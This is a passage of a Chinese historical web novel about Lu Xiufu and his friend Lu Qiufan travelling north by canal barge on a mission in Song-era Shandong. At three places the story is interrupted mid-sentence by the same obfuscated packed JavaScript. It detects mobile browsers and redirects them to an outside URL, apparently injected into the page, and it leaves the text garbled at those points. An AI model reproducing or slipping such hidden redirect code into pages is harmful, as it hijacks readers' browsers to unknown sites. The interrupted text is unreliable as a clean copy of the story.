原来自蒙金交战以来,不少人抛家弃业地南渡。乱象之下,许多土地被强占,佃农们无路可走,只能落草或者参军,此状况自金国覆灭后尤甚。 李璮在山东虽拥兵自重,但义军出身,不懂经邦之道,内要筹集自家军饷,外要应对蒙人盘剥。蒙人当李氏是只漱金鸟,画地为笼,又想从其嘴里捞好处,逼得李氏转而向南扩展地盘,进犯海洲楚州。 然而军队打仗也需要粮饷,田间地头本就收成不好,农民自己都没得吃,如今更是颗粒无收,致使落草参军之人更多。 如此循环往复,即便是齐鲁这自古的天佑之邦,也如鬼打墙一般,不得其解。 “俺爹以前在沂州务农,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703239|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他死守田地,被鞑子一锤子抡死了。”纯哥儿讲道,“俺娘就带着我们兄妹几个回了莱州娘家,随后就把我送去当道童了。” “哦?你还当过道童?”君实奇道,“不知侍奉的是哪一位仙师?” “娘嘞,还仙师,都成仙儿了哪还能见得到人?现如今,去有名气的道观当道童还得倒贴钱,况且他们只挑识字儿的收,根本轮不到咱!俺们那儿全真道士满地跑,但俺娘说‘入了全真教,媳妇娶不到’,就找了个同村卖符箓的收了俺。虽然没给几个钱,但他有度牒啊!” 君实只是随口一问,没成想纯哥儿越讲越起劲:“恁有所不知,北方几乎全民崇道,但最近这些年不知怎的,几乎不给道门发度牒了。俺跟着那道士云游了三四年,碰见不少新鲜事儿,也多少学了些门道。字儿虽然不会写,但照猫画虎地画符还不会么?那道士卖的符箓嘛,大半是咱的手笔!” 他言语间甚是得意,君实却稍显不悦:“贴符箓做法事实乃下品,皆是无用功。” 纯哥儿不以为然:“贴符做法、烧香拜佛这种事,说无用便无用,说有用便是真的有用!” “何解?” “世人比恁想象的要坚韧,小病小灾的其实什么都不做,也能渡过。花了钱办了事,若渡过了,便是有用,若渡不过的话就继续花钱,早晚会渡过的!” “这可是行骗啊!”君实难掩嗔怒。 “也不能说得这么绝对。”纯哥儿不急不慢道,“别忘了,世人也很脆弱。若真是大难临头,其实啥都不好使,但又不能啥都不做。所以恁别看这小小符箓一张纸,不能吃不能用,但就是能让人安心些,恁说这不是法力是甚?” 纯哥儿此话不假,君实恼火也是真:“诡辩!所以你们道士卖符箓给危难之人,就只是让人安心等死?” “哎呦君实哥,恁可别一棒子打死一群人!习武读书的有真有假、良莠不齐,修道的又何尝不是?谁叫俺娘所托非人呐……” 纯哥儿说着说着双手插进袖管儿里,蹲在君实身边一脸委屈样儿,“那道士不是啥良人,赚了点儿钱就往赌场钻。刚到扬州他就输了发大的,旁的没有,就把俺抵给了牙侩!都赖俺当年饿得心慌,脑子也冻坏了,问都没问就跟那道士走了,如今没钱没度牒没户籍回不了家。若不是书琼姐,俺怕是还在牙行后面跟牛羊窝着……” 君实闻言,登时没了脾气。 纯哥儿也是个可怜人。世道艰险,都是为了口饭吃,谁又比谁高尚呢?背井离乡、看人脸色谋出路的无奈,君实又何尝不懂? 左右无事可做,他听着纯哥儿一个又一个的故事度日,也不知仕渊那边是何进展。问纯哥儿,却总被告知没见到过少爷人影。 这些日子,陆季堂早上都会从涌春茶社带早茶糕点放到二楼,傍晚又会叫索唤送些山珍海味到坤珑阁。 如此奢靡几日,君实觉得自己身上的锁链又紧了几分,索性开始辟谷,让那些美味佳肴都入了纯哥儿的胃袋。 他平日外表装得波澜不惊,实则一直心神不定,生怕仕渊那边又出了岔子,再加上辟谷期间饿得心慌,便硬给自己找事做。 他从外间找了笔墨,开始教纯哥儿认字,从“天地玄黄”教到“得能莫忘”,依旧没听见外面传来一星半点的消息。 14. 千里家书乘戏船,旌忠座下求平安(下) 孟夏的阳光照得人身子骨慵懒。眼下各书院田假已至,而忙碌的却大有人在。 百里外的官道上,一递夫正快马加鞭地飞驰,褡裢里揣着临安刚刚下达的委任敕告。 淮东总领所仓门大开,粮食倾泻而下,被称量、入袋、记簿,随后搬运至太平车内。 东关渡口集结了浩浩荡荡的船只,沧望堂的老伙计们时隔多年,再次于码头上相见。 陆家巷的上空升起一只纸鸢,广陵春老板娘收银入戥,再抬头时,客人已消失不见。 坤珑阁地处弥陀巷深处,平日里还算安静。窗外偶尔有货郎经过,扁担上的铃声扰人清梦。君实躺在罗汉床上翻来覆去,睡也不是,不睡也不是。 他已在这小屋内等了足足二十天,既不知窗外是何光景,也不知天下有何大事,更不知仕渊何时归来。 若是连仕渊都将他忘在脑后了,还有几个人还能记得自己? 君实暗自叹息,忽听门外楼梯“噔噔”作响,有什么人正风风火火往二楼奔来。 他猛地坐起,见来人是纯哥儿,心中难免失落,躺回去道:“行步趋跄,须是端正,不可疾走跳踯,莫把客人吓跑了。” “师父师父师父!”纯哥儿放下涌春茶社的食盒,满头大汗。 “不是说了吗,教人识字的是‘先生’,不是‘师父’。”君实一如既往地耐心。 “哦对,是陆先生!” 纯哥儿准备好洗面汤,一边伺候君实洗面,一面喜道:“我终于见到秋帆少爷了!” 漱着口的君实眼中一亮,又听纯哥儿道:“可是少爷今天好奇怪,一大早上饭都没吃呢,满山坡‘呼呼呼’地放风筝,最后还爬上了房顶!先生先生,你说少爷昨晚是不是中邪了?用不用烧个香做个法事?” “噗!” 脑海中浮现出仕渊在屋顶上生龙活虎的样子,君实一口水喷了出来,惊得纯哥儿直接拿袖子为他擦拭。 这种让人哭笑不得、措手不及的感觉真是久违了! 当了半个多月的教书先生,君实本想提一句“子不语怪力乱神”,回头见纯哥儿一脸懵懂虔诚的模样,生生将已到嘴边的训诫咽回肚里。 末了,他嘴角一扬,学着仕渊的语气道:“少爷的灵魄比那精怪还邪门,哪有鬼神敢上他的身?他这是在‘招魂’呢,招得还是位‘天外飞仙’!看来他事儿办成了,我们不日便能出发!快,帮忙罩上大氅,陪小爷走一趟!” “太像了!” 纯哥儿笑得开心,却满头雾水。他跟着君实出了坤珑阁,一路向南,穿过喧闹曲折的仁丰坊街巷,来到了通泗桥畔的一处寺院。 此寺院原为隋朝智藻大师弘扬佛法的寂照院,如今改建为纪念忠武王岳飞的功德院,扬州人亦称其为“旌忠寺”。寺院两侧银杏古木开道,名楼古刹位列期间,宝塔丛立,香火氤氲。 君实一向认为烧香拜佛是无能之举,但如今诸事屡屡受挫,又北上在即前途未卜,心中的忐忑实在无以疏解。 恰逢纯哥儿提到烧香,他便顺水推舟,放下成见,来这旌忠寺求个平安,希望沾一沾岳武穆的锐气,让北方的魑魅魍魉都退散。 初次来这香火之地,他自然不知道规矩。在纯哥儿的帮持下,君实贡了三炷香,又求了两个平安符。 待该花的钱花完后,他裹紧大氅,不让那锁链露出分毫,独自踏入正殿,跪在了岳武穆的坐像前。 头上匾额高悬,写得是“天日昭心”、“浩气长存''”,面前的岳武穆塑像一身戎装,手按长剑,目视远方,大义凛然。 殿内栋梁开阔,衬得他身形羸弱伶仃,四周烛火熠熠,却映出他面容昂霄耸壑。君实注目良久,终于小心翼翼地张口,声音小到只有他自己听得到。 “岳王在上,小生陆秀夫如今行动不便,若礼数不周,还望见谅。此次与友人北上,愿君在天之灵能护佑我们平安,让小生早日脱困,以便参加秋试。小生一介寒门,若能得朝廷垂青,亦愿励精图治,用此余生攘外安内,为大宋江山延寿,不问福祸,尽忠报国!” 说罢,他恭恭敬敬地磕了三个头,锁链下的双拳紧攥,随后颤颤巍巍地起身,走出了大殿。 ------------------------------------- 回程经过仁丰坊与东关街时,纯哥儿终于按捺不住,左瞧瞧,右望望,看什么都新鲜,见什么都嘴馋,却横竖掏不出几个钱来。 君实见纯哥儿像极了初来淮扬时的自己,便买来一些街边吃食给他。 二人就这么走走停停,日哺之时才回到弥陀巷,还未入坤珑阁,已然听到一阵欢声笑语。 进门一看,陆季堂和谭掌柜正与一运河蒿工谈天说地。 这人身量纤长,此刻正背冲大门,水蛇一般斜倚在柜台上。幞头下的黑发整齐似缎面,脖颈白净如脂玉,一看就不是什么正经蒿工! 听见有人进来,他警惕地回首一瞪,随即笑得灿若桃花——此人不是仕渊还能是谁? “君实你去哪儿了,等得我好苦!”他扭捏作态道,“是不是太过思念,出去寻我去了?” 君实愣在原地,细细地打量着仕渊这身装扮:破旧幞头裹发,粗布襦裤蔽体,绑袖绑腿一个不落,还穿着双跂蹻芒鞋。 “少爷这是……” “不是说了别叫我少爷了嘛!我现在是沧望堂找来的蒿工阿六!” 仕渊比了个拉纤绳的姿势,“瞧,还挺像样的吧?哎不闹了,这些天你怕是等急了,可有怨我?” “有。”君实直白道,“怨你不拿自己的安危当回事,放风筝放到了屋顶上去!” “可不是嘛!”仕渊一拍大腿,抱怨连连,“谁承想放个风筝这么难?以后可不能随便答应人!杏苑及第那山坡看着矮,可给我累得够呛。好不容易放起来了,我又怕‘瘦金书’看不见,爬到了那房顶上去!刚稳住那纸鸢,下一刻她就出现了,吓得我差点滚下去——林家班都这般骇人的吗?” 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践行宴间,陆季堂啰哩啰嗦地嘱咐二人要相互照拂,莫招惹是非、莫暴露家世,又还提醒二人要堤防着点儿燕娘,生怕她将二人卖给鞑子山贼。酒劲儿上来后,他更是不顾谭掌柜阻挠,包了一大把银子给二人当盘缠。 酒过三巡,仕渊同纯哥儿将君实架回了屋。 君实不胜酒力,一回房便蛟龙入海似地栽到罗汉榻上,不省人事。纯哥儿忙帮他脱鞋,将他翻过来摆正。 仕渊坐在一边呷茶水,看着纯哥儿为君实褪去大氅,忽地面露愠色,质问道:“君实怎地瘦了?我每日叫索唤订了那么多吃食,陆季堂是不是根本没带过来?” 纯哥儿坐在榻边为君实盖上被,战战兢兢道:“不是的少爷,四爷每日都带饭过来。只是先生他怕长肥膘后链子变紧,便一直,一直……那个叫甚?屁股?” “是辟谷!” 仕渊翻了个白眼,紧接着抬起一边眉毛,鄙夷道:“你叫他什么?先生?君实是指派给我的伴读,怎地成你先生了?” 纯哥儿挠了挠头:“君实哥他说我识字后可以给家里写信,以后不容易吃亏,还说非学……非学……” “非学无以广才!君实这个书呆子,还真是有教无类啊……” 仕渊苦笑一声,手指拨弄着茶杯,默不作声地望着熟睡的君实与瑟缩在一旁的纯哥儿。 良久,他发话道:“这样,纯哥儿,明日你同我们一同北上,继续照顾君实。若你保先生平安归来,我会帮你入籍,待秋赋后,换你来做我的伴读。以后,你便是大宋在册的良民,扬州陆氏的舍人!” “多谢少爷成全!李纯一定伺候好先生,万死不辞!”纯哥儿心花怒放,连磕三个响头。 仕渊也不知自己成全了他什么,又是哪一句打动了他,只道:“嗯,但先生若是出了甚么事,你也别回来了!” 说罢,他摘下幞头,起身向罗汉榻走去,抬腿将床边的纯哥儿踹了下去。 “还有,你给我老老实实睡地板!” 15.五两杆摇风色顺,舸楫击流泗水浑(上) 天色将将破晓,东关渡口已经戒严。 堤岸旁停泊了浩浩荡荡十余只漕船,外加前后共两只客船,岸上来来往往满是忙活的漕工漕吏。 此纲押往山东益都府,沿路不乏法外之地,还要途径黄河险滩。这意味着随船的蒿工同时也要做纤夫,所以沧望堂精挑细选了一百来号“牵驾兵士”。 这些“牵驾兵士”个个身着粗麻短衣,黝黑的双臂结实锃亮,随手往背上一甩就是两石米,两腿一迈健步如飞。 在一众劳作的身影中,悠闲地站着两个相对文弱的身影,正直勾勾地盯着栈桥一角木杆顶端的“五两”。 倒不是这两人偷懒,的确是沧望堂堂主给他们安排的差事,就是看风向。 二人一个蒿工打扮,站得松松垮垮,另一个大氅裹身,站得笔直端方。他们从平明站到日晓,而那木杆顶端的羽鸟随风摇摆,偏偏不向北回头。 “哎呦,区区十来只船,怎地还没装完啊……”仕渊穿着芒鞋绑腿,浑身不适地抱怨着。 君实双眼布满血丝,依旧盯着那“五两”:“不才倒是第一次见这么大的阵仗。” “这算什么,我朝内部往来的漕运可是每纲三十只船起,早些时日每年能通个万八千次呢!” 仕渊站得两腿发酸,索性蹲了下来,“不过,你之前猜得不错,此行的确是去招安的。船上这些都是送给益都李璮的见面礼,一点‘诚意’罢了。拿来赈灾尚能周转几日,打仗却是杯水车薪。” 说话间,一阵脂粉香气袭来,栈桥上路过了一队教坊女子。 即便她们个个头戴帷帽,轻纱遮面,二人还是一眼就认出了队伍中仙姿玉质的燕娘。 擦肩而过时,她朝二人偏了偏头,自长袖中甩出一个纸条打在仕渊手边,随后跟紧队伍,上了最末尾的客船。 仕渊捡起纸条,见上面写着“秦相公亲启”,便直接揣在了腰带里。 望着远去的教坊女们,君实含沙射影道:“看来陆相公近日来没少张罗啊……” “莫暴露家世!也别叫我相公,叫六哥哥!”仕渊成日被君实“少爷”、“少爷”地叫惯了,乍一被叫“陆相公”不仅浑身不自在,更显得二人生分了。 “可是论辈份我应该叫你——嘶!” 话音未落,君实小腿被拧了一把。他低头望着脚边偷袭的“贤侄”,叹了口气:“不知‘六哥’是如何将秦大人调派来,家里又如何同意我们北上的呢?” “还能怎样?写信求我爹啊!” 仕渊吊儿郎当道,“就是之前我让林子规带回临安的那封家书。我在家书里各种装乖卖惨,还答应了我爹先前提的一切要求,他能不答应吗?” “什么要求?” 仕渊闻言苦笑了两声,没有答话。 他蹲在地上,静静地盯着运河起伏不断的波流,直到最后一只漕船装载完毕,才站起来道:“几日前,我将咱俩的名册和家保状上递给贡院了。我答应我爹这次从北方回来后就秋赋入仕、娶妻成家。” 君实心中一块石头落地,却并没有多高兴。 这小少爷对秋试一向避之不及,对入仕成家之事更是敬谢不敏。眼下他为了自己,究竟是下了多大决心,连闲云野鹤的日子都不要了? 思至此处,君实挣扎着从袖中摸出个锦囊,伸出大氅道:“这是我昨日去功德院求的。岳王护体,我们定能早日归来。” 仕渊打开锦囊,见是枚平安符,好生宝贝,打趣道:“你不是不语怪力乱神吗?怎地出手这么阔绰,买了个金片子?” 君实第一次送人如此贵重之物,见对方将其挂于颈上贴身揣着,欣喜之余又有些羞赧。 他再度盯起了那“五两”,淡淡道:“六哥从涌春楼传了半个多月的珍馐,那才是真豪横啊……” “原来你昨晚都听到了啊!”仕渊粲然一笑,“所以涌春楼究竟合不合胃口?” “合,非常合。你看把纯哥儿喂得,多壮实!” 君实向仕渊身后扬了扬头——人群中,纯哥儿正光着膀子,扛着两袋米走来。 见二人都在,他直起身大喊道:“先生少爷!三老爷他们来了!” 码头上众多劳作的身影静止了须臾。 君实苦笑着摇了摇头,仕渊直接一记飞踢踹在了纯哥儿的膝后窝。好在纯哥儿下盘比那于勉稳当,只踉跄了两步,米袋也没掉。 仕渊正了正幞头,两手叉腰道:“你们一个两个的都听好了,我再说一遍,从现在开始,没有什么少爷!你个小伢儿,晒腊肉块儿呢?把你那肋条包严实了!” 纯哥儿赶忙把上衣穿好,扛起米袋撒腿就跑。前脚刚走,后脚城门处走来一大队人马。 为首者两人,一人中年魁梧,声如洪钟,正是三叔陆叔满。 与陆家其他长辈的儒雅不同,陆叔满身上江湖气更重些。 他自小便爱舞刀弄枪,早年曾在少林寺当了几年俗家弟子,虽未得真传,却足够他在扬州混得风生水起。掌领沧望堂后,屡屡为寺内捐款修缮,也幸得少林后生尊他一声师叔。 此刻他现身渡口,一路走来,劳工们不管肩挑着的还是背扛着的,无不停下活计,抱拳尊一声:“堂主!” 堂主身旁另有一人,身着绯色公服,腰间佩着把白玉长剑,生得伟岸挺拔,姿态却极为敦厚谦和,担得起一句“君子泰而不骄”。虽已过而立之年,却依旧丰神俊朗,在一众随行的官吏和武师中十分显眼。 “那位想必便是刺史秦大人了吧?”君实小声问道。 “正是,只不过不是刺史秦大人,而是镇抚使秦大人。” 仕渊嘴角上扬,似是很满意自己的这番运作,“刺史一职徒有虚名罢了!秦大人如此人才,又是山东来的归正人,何不当个镇抚使,将李璮那厮也归正过来?” 君实不置可否,冷笑道:“确实‘一表人才’。” “哈!”仕渊邪笑了一声,“不然怎能让那‘瘦金书’爱得五迷三道?” 林家班的台柱子被他张口闭口“瘦金书”地叫着,君实本想人姑娘家打抱不平两句,却见仕渊对着身后行了个礼:“堂主早,秦大人早。” 陆叔满虎掌拍了拍两个年轻人的肩头,向秦怀安介绍道:“这是小侄陆秋帆,另外这位便是被鬼索捆了的苦主,秋帆的同窗。” 双方拜会后,秦怀安又行一礼,道:“承蒙陆公子与令尊举荐,在下感激不尽。这些天一直信帖往来,今日终于得见。” 仕渊穿得是莽夫样,说得却是正经话: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704546|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小可早就听说秦大人文武双全,德才兼备,又正好出身齐鲁。此次事出匆忙,不才亦想为父辈分忧。招安李璮之事实在非大人莫属,就自行举荐了。若有不周之处,还望见谅!” 秦怀安闻言,只恭敬地点了点头,并未回应。他面上蓦地少了些温和,颇有些不自在。 “时间不早了,秦大人这便上船安顿安顿吧!”陆叔满见状赶忙出言,带着秦怀安与两名随行官吏官吏向前排客船走去。 这秦大人正面仪表不凡,然而他转身离去时,君实才发现他后颈上爬满了伤疤。疙疙瘩瘩一片红紫,似是被烈火灼烧过。 他蓦地一觳觫,但听仕渊道:“秦大人字‘慕山’,不知慕得哪一座山。虽说他是信国公赵葵的人,但此次提拔,谢相非但没有阻挠,反而亲自将折子呈给了官家,可谓水到渠成,都不用我爹多费口舌。我听说秦大人年少时无父无母,只身一人南下,能被赵葵将军看中爬到今天这位置,定是拼过命的。” 君实心中感叹着军士出生入死的不易,回头见陆叔满已经回来了。 “你个炮子崽,假恣甚呢!”他点着仕渊脑门,小声教训道,“背地里耍花头,害死人家了!” “害死谁?秦怀安?”仕渊甚是不解,“从五品的虚衔提拔到四品的要职,我害他甚了?” “唉,你年纪还小,也不能全然怪你。”陆叔满无奈地叹了口气,“那秦怀安追随了赵葵将军近二十年,刺史一衔就是赵相安排的。绍定年间,我朝与金贼交战,擒斩李璮父亲李全的,正是赵葵!两淮官员这么多,你举荐谁不好,偏偏要将李璮的仇人送到他眼前?” 这消息有如当头一棒,仕渊连忙开脱道:“可,可李全被斩时,他秦怀安才多大点儿啊?连赵将军大名都没听说过吧!秦怀安好歹是个使节,李璮胆子再大,也不会把帐算在他头上啊!” “就算李璮有格局有气量,但保不齐手下人出个什么变数。这世上恩怨不问因果,只图说法,多是做给他人看的。最麻烦的倒不是秦大人的身世,而是他的差事!” 陆叔满环视四周,压低声道,“你想,招安一事倘若有一丝胜算,谢相何必举荐赵葵的人去?那李璮给鞑子当了二十多年活狲,要反早就反了,他老子又不是没被招安过,结果呢?死在咱扬州了!唉,这回真是精屁股郎当、稀大六缸……了戏咯!” 此话虽粗,却在理。三人望着头顶的五两,沉默了许久,但听“铛”地一声,一直摇摆不定的羽鸟终于坚定不移地指向了北方。 “风向已变,该起锚了!”陆叔满道,“你们去倒数第二艘船。船老大吴伯是沧望堂的老前辈,他答应我了,会送你们到沂州。” 见四下无人注目,他从怀里掏出了两个假腰牌交给二人,苦口婆心道:“莫要忘了你们此行的目的,也莫要轻信他人。记住,江湖事、朝堂事都不重要,重要的是你们要平安回家!” 腰牌作假乃是重罪,仕渊赶紧将其揣好。三叔的一番话让他心里满不是滋味,半个多月的谋划和奔波,到头来又做了错事。 那久违的苍白无力感再次涌来,刺得他胃袋隐隐作痛,一只手不自觉地抵上腰间,摸到了燕娘先前递来的纸条。 “秦相公你莫急着走!我这里有锦书相托啊!” 16.五两杆摇风色顺,舸楫击流泗水浑(下) 舟舸顺春风,隋堤烟柳晴。 力士们击楫中流,不出两个时辰,漕船到达淮安。此处设了禁,一番核查清点后,船队分为两列,在运河上继续顺风而驰。 漕船船力胜五十硕,平时纲梢们为了能多带些日用上船,粮纲只装八分满、配八名纲梢。但此刻船队靠近末尾的一艘船上只装了五分满的米袋,却载了十名纲梢外加三个大闲人。 仕渊自上船后便惴惴不安——船上的九位牵引力士长得像在逃钦犯也就罢了,这掌舵的船老大吴伯却是个秃了毛的老头,还一身酒气。 三叔怎地将我安排给这般人,沧望堂当真没落了!他心道。 漕船不比客船。船舱狭小闭塞,必须弓身行走,左右只有两扇常年不开的窗板。此刻舱内窝着十三个大老爷们儿,霉味腥味混着一股脚臭味,刺得人上头。 纯哥儿没怎么坐过船,过了淮扬河段的新鲜劲儿后,立马先吐为敬。本来是跟着照顾君实的,反倒让君实在舱内陪护。 仕渊从不晕船,奈何纯哥儿“交待”后,舱里气味愈加腌臜,差点也跟着“交待”,于是只得抛下一众人独自躺在舱外阳棚下,不一会儿便昏昏然了。 刚合眼没多久,就被四周回荡的纤夫号子吵醒。 他惊觉船体起伏加剧,浪也湍急不少,站起身来才发现人字桅斜倾,由几条纤绳牵着。 前方十余艘漕船皆是如此。数十条纤绳如琴弦般亘穿江面,另一头由岸边浅滩上的百余名力士们拖拽。 “小六爷,要经过洪泽湖口了!这个河段浪头大,你可要把好了!”一旁的船老大吴伯两颊红晕,单脚跨在船舷上撑着蒿杆,声音几乎要被浪声和号子声淹没。 忽地一个浪头拍来,溅了仕渊一身水。他脚下踉跄几步,赶忙躺了回去,胆颤心惊地抱着阳蓬的支柱。 又听吴伯喊道:“咱家上次走这河段时,跟你差不多大!几十年前黄河决堤,取道淮阴,此处变险滩了!后来两边都忙着打仗,一直也没固堤,如今一下雨就这德行!你要是睡不着,就拿这个伺候!” 吴伯从怀里掏出个酒袋扔给仕渊,后者抹干净脸上的水,拔出塞子猛灌几口。 酒壮怂人胆,仕渊也不再害怕,站起身来,极目远眺。 只见昊天如洗、江水漫漫,黄浊之水西来,在河口与碧水旋拥相汇,又引东而去。 左侧是浩瀚平静的洪泽湖,依稀能看到舴艋轻摇,右侧是黄河泻出的数条蜿蜒水道,冲刷着无垠的苇草。 纲船过境,惊起无数飞鸟。 他引颈仰望,见那飞鸟啁啾振翅,消失在了不再是宋人国土的前方。 浅滩上的百余名众力士们仍在努筋拔力。他们身躯前倾,个个缠着头巾、打着赤膊、背着纤绳,站位错落有序,脚下应和着节拍,每一步都走得稳稳当当,全然不在意那急流冲溅。 半个时辰前还觉得沧望堂没落了的仕渊,此刻敬意油然而生。 号子声愈发高昂,此起彼伏地响彻江面,激得他也跟着大声唱了起来—— “前路险呦逆行舟,河神显灵莫发愁!硬脊骨嗬低下头,灶王来年笑着走!” 他顿觉心胸开阔,仿佛一切烦恼都烟消云散,说不出的自在——终于逃出了陆园的墙围桎梏,终于抛开了书院的卷帙浩繁,终于告别了扬州的青砖小巷! 这机会得来不易,又稍纵即逝,他只想淋漓尽致地体会。 心中越是这样想,他嘴上唱得越是带劲儿,最后干脆脱了上衣,顺着着纤绳游到浅滩处,跟着力士们一齐拖拽。被石头绊倒、一头栽进泥水中也浑不在乎,反而愈发开心,插双翅膀便能直冲云霄。 此刻他才明白,无关乎君实的锁链,也无关乎燕娘的委托,是他陆秋帆自己心中躁动,早就想飞出这樊笼了! ------------------------------------- 众人一路拖拽,船只破浪前行,终于渡过激流,在日落前来到了邳州宿迁堰口。 堰口设了三道防,皆有红袄军把守。漕船靠岸,纲首官吏一一递交公文关引。 红袄军虽民间义军出身,但一套套章程比起大宋来是有过之而无不及。他们不仅登上每一艘漕船查验,还将随船一百来号人都叫下来,挨个查验腰牌公文,问询后登记入册。 一名红衣兵毫不客气地撩开君实大氅,见他一身的锁链,立刻警戒通报。 仕渊谎称他是随行胥吏,因手脚不干净被镇抚使大人责罚。焦灼之际,秦怀安亲自出面作保,此事总算虚惊一场。 待三道水闸的绞关石陆续放行,船队顺利过关,已是日将西沉。 过了宿迁堰口便是骆马湖,水上不再有船只。一是因南北局势紧张,二来北方运河水量一向紧缺,运河上除了漕船以外严格禁行私船。客行至此,需改走陆路,所谓“南船北马”,便是由此而来。 船队在骆马湖西北侧下了锚,众人已是疲惫不堪,各自窝在船内休整。 仕渊过了把纤夫瘾,撒完热血后回到舱内,湿得像只落汤鸡,浑身上下分不清是汗水还是泥水,裹着的幞头也不见了。 纯哥儿找来一块布巾为他擦拭,仕渊嫌那布巾一股霉味,见纯哥儿唇色发白,眼眶乌青,赶忙打发他去休息,自己则撩起君实的大氅擦拭长发。 草草收拾一番后,俨然又是一位玉人。 他一改平日锦衣华服的作风,穿了身朴素的天青色长衫。君实上下打量了一番,觉得甚是眼熟。 “你穿得这是……” “这是你刚来陆园时穿的那身。”仕渊簪起长发,不以为然道,“唉,你也知道,小爷我的衣服都太显眼。我叔伯压根儿不愿我来,堂兄弟们也不敢借衣服给我,只能摸你的旧衣带上了!” 这陈旧的袍子还打着两块补丁,穿在在仕渊身上略小,显得愈发寒酸。 “我以为那些旧物已经被丢掉了……”君实微微垂首,“毕竟我已经……” “说什么呢!陆伯金把你辞了,但小爷这儿永远有你一席之地!”仕渊捡起酒袋,一脸坏笑,“小堂叔的东西,我都不敢扔,谁敢造次!” 他咂了口酒,摇头晃脑地往船首走去,在阳蓬下睡罗汉似地躺倒。 君实本以为船队今夜要赶到邳州报备,却迟迟不见船队有任何动静。百无聊赖中,他从包裹里拽出个鹅黄大氅,来到阳蓬下。 仕渊正半寐半醒,但听一阵锁链声响起,胸前多了两个炊饼。 “拿走,这玩意儿能噎死个人!”他皱眉道。 君实没有回话,将大氅丢在仕渊身上,在他身边躺了下来。 春风微凉,目视西边,一道残阳铺水中,半江瑟瑟半江红。 半个多月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717970|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前二人还相看两厌,此刻竟并排躺在前朝故地之上,还颇有惺惺相惜的意味。缘分果真不可思议。 他望着天边红霞,惊觉一道身影自空中掠过。猛地起身张望,原来是燕娘跃上了二人的船顶。 她一路起起落落,踏过十余艘船顶,如急风掠空,向岸边奔去。 “燕娘这是去何处啊……”君实嗫嚅着。 仕渊瞥了一眼,漫不经心道:“还能去哪儿?天色渐暗,去会情郎呗!” 他指了指远处的岸边,只见秦怀安正立于沙头之上,满怀心事。 “你别乱点鸳鸯谱,兴许人家有要事呢。”君实不愿做那好事之人,又躺了回去。 但此事他疑心已久,终于又按捺不住道:“若真是会情郎,有必要这么大费周章,来这兵荒马乱之地?” “我哪知道?我只知道她似乎跟金蟾子有些交情,可为我用。若真要问缘由,那必然是……人约黄昏后,溪边春事幽啊!” 仕渊吟着驴唇不对马嘴的诗,故作多情,“没想到戏中国色天香的‘丽妃’,在戏外竟也是个痴情女子!奇怪,我陆秋帆生得也不比那秦怀安差啊,怎地没有女子对我如此痴情?” “陆相公风月场上摸爬滚打多年,捞到了什么好处,能让姑娘家死心塌地跟你?”君实讥诮道,“人家秦大人可是自力更生。武能上马定乾坤,官宅鱼袋傍在身!” “呦,圣贤才也会作打油诗了?说得我都想跟了秦大人了!”仕渊醋溜溜地打趣道,“可惜啊……秦怀安早就有家室了,那‘瘦金书’也不像是会甘心做小妾的人。” “人家有名字!还有,你管人家闲事做什么!”君实懒得搭腔,干脆背过身去。 “坏了,他们不是要私奔吧?君实你的锁链怎么办!” 仕渊嬉笑着与君实扭打成一团,“哈!不如你还是试试缩骨功、抹猪油吧!” ------------------------------------- 骆马湖畔,秦怀安攥紧了手中的字条,注视着远处的船队。 他换了身素净常服,腰间依旧佩着那把白玉长剑,全无半分官相,更像是江湖儒侠。 后背陈年的伤疤又在隐隐灼痛,他婆娑着后颈,在沙头之上兀自逡巡。 须臾间,四周水鸟惊起,一只冰凉的手指触上了他后颈的伤痕。 他身躯一震,右手已然搭上剑柄。一回首,身后站着一高挑女子,身着月白衣裙,头戴长纱帷帽。 她见秦怀安被惊到,匆忙收手,摘下帷帽,露出了陌生却又似曾相识的脸庞。 二人相对而视,落霞倾洒在衣衫之上,四周空气凝结,静得出奇。 良久,女子开口,声音如冰河消融。 “怀安哥,可还记得我?” 秦怀安怔怔地望着眼前女子。 这身影逐渐与当年身高不及腰、穿着小花袄的女娃重叠,耳边似乎回荡着天真灿烂的笑声,一口一个“怀安哥”地叫着自己。 终于,他回过神来,双唇颤抖:“雁,雁儿?” 女子傲如松柏的身姿立马泄了劲。 湖水宁静,碧波此消彼长地抚过岸边白沙,一如二人的心绪。 往事又在眼前重现,他们仿佛回到了二十一年前的少年身,在那夜色漆黑、惊涛拍岸的蓬莱滩头手足无措。 17.南来北往辞家路,栖霞山外道昆吾(上) 贞祐二年,蒙古大军南下伐金。 